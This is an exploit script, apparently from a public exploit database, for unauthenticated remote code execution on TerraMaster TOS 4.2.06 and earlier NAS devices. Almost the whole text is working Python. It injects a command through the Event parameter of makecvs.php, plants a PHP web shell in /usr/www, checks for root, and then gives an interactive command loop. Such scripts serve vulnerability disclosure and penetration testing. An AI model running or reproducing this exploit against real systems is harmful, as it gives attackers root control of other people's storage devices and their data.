TerraMaster TOS 4.2.06 – RCE (Unauthenticated)
# Exploit Title: TerraMaster TOS 4.2.06 - RCE (Unauthenticated) # Date: 12/12/2020 # Exploit Author: IHTeam # Full Write-up: https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/ # Vendor Homepage: https://www.terra-master.com/ # Version: <= 4.2.06 # Tested on: 4.1.30, 4.2.06 #!/usr/bin/env python3 import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) parser = argparse.ArgumentParser(description="TerraMaster TOS <= 4.2.06 Unauth RCE") parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8081/") args = parser.parse_args() url = args.url headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'} epoch_time = int(time.time()) shell_filename = "debug"+str(epoch_time)+".php" def check_endpoint(url, headers): response = requests.get(url+'/version', headers=headers, verify=False) if response.status_code == 200: print("[+] TerraMaster TOS version: ", str(response.content)) else: print("\n[-] TerraMaster TOS response code: ", response.status_code) sys.exit() def upload_shell(url, headers, shell_filename): payload = "http|echo \"<?php echo(passthru(\\$_GET['cmd']));?>\" >> /usr/www/"+shell_filename+" && chmod +x /usr/www/"+shell_filename+"||" payload = urllib.parse.quote(payload, safe='') print("[/] Uploading shell...") response = requests.get(url+'/include/makecvs.php?Event='+payload, headers=headers, verify=False) time.sleep(1) response = requests.get(url+'/'+shell_filename+'?cmd=id', headers=headers, verify=False) if ('uid=0(root) gid=0(root)' in str(response.content, 'utf-8')): print("[+] Upload succeeded") else: print("\n[-] Error uploading shell: ", response.content) sys.exit() def interactive_shell(url, headers, shell_filename, cmd): response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(cmd, safe=''), headers=headers, verify=False) print(str(response.text)+"\n") def delete_shell(url, headers, shell_filename): delcmd = "rm /usr/www/"+shell_filename response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(delcmd, safe=''), headers=headers, verify=False) print("\n[+] Shell deleted") check_endpoint(url, headers) upload_shell(url, headers, shell_filename) try: while True: cmd = input("# ") interactive_shell(url, headers, shell_filename, cmd) except: delete_shell(url, headers, shell_filename) |